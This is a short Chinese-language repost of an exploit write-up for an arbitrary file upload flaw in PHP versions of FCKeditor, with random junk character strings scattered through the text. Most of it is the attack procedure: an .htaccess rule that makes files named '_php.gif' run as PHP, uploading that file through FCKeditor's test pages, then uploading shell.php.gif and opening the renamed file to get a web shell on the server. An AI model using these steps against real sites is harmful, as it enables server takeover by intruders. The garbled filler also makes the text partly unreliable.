FCKeditor所有php版本Upload上传漏洞

admin

FCKeditor所有php版本Upload上传漏洞 作者：佚名 来源：本站整理 发布时间：2011-10-25 7:39:07 减小字体 增大字体 9 f- S5 r* O/ P; p[+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability 6 x" ]- U( b2 c[+] Date: 2011 , B. j" b) d) I[+] Author : sinesafe.cn 8 b7 n: Q$ [' @/ L- m8 m8 T[+] Website : WwW.sinesafe.cn 9 t& b: \$ ~& Z( D) e; c& F  f——————————————————— 1.create a htaccess file: code: <FilesMatch “_php.gif”> SetHandler application/x-httpd-php , [& Y) ?/ R. N& g" E7 S6 V3 C* x</FilesMatch> - p- C# A9 m8 R! ?  Y5 _& r% P 2.Now upload this htaccess with FCKeditor. ! y4 T+ B: E  X5 E4 thttp://www.sinesafe.cn/FCKeditor ... er/upload/test.html ) b% |7 G( ?6 l9 E http://www.sinesafe.cn/FCKeditor ... onnectors/test.html ' @, C  Q# X, U+ }8 _7 \ 9 r9 e: i9 d$ n( v$ _- Q/ f———————————————————————————————- 3.Now upload shell.php.gif with FCKeditor. 4.After upload shell.php.gif, the name “shell.php.gif” change to “shell_php.gif” automatically. 5.http://www.sinesafe.cn/anything/shell_php.gif , D2 u8 R" T4 `) h% y6.Now shell is available from server.

1 J( h. ?. P& D* k+ O7 i8 D
& F4 u! f: ^  T9 Y' T& @3 k! \+ i2 \
1 f/ R: k$ v) s" T  Q" I; s